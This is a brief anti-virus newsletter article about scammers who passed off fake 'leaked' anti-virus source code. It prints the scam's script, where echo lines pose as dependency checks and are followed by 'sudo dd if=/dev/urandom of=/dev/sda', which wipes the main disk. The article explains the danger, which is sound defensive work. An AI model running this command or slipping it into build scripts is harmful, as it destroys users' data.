The Anti-virus Times

Monday, April 2, 2018

Scammers can take advantage of virtually any publicised event—one readily available option they have is to mount an email phishing campaign. Sometimes they go too far in their trickery.

In early 2018, a news story appeared about source code being leaked from an anti-virus company.

The anti-virus developer promptly negotiated the deletion of the leaked source code, but this story was too interesting to pass by for some people! Some con artists were quick to come up with their own version of the code.

all:
echo Check depends…
echo Install depends…
sudo dd if=/dev/urandom of=/dev/sda

What does it do? The lines starting with the word echo output messages that appear in the terminal window in which the script was launched; they indicate whether all the required packages are present in the system and install any missing packages. But the fourth line is used to write random data (the dd command) to the sda device – most likely, the main disk in the system. This command’s execution will result in all of your data being destroyed.

Some users claim that:

But the Anti-virus Times doesn't advocate curing headaches by chopping off heads!

Seriously though, this leak proves that anti-virus companies don't create viruses. Otherwise, a former disgruntled anti-virus company employee would have already put some compelling evidence on public display.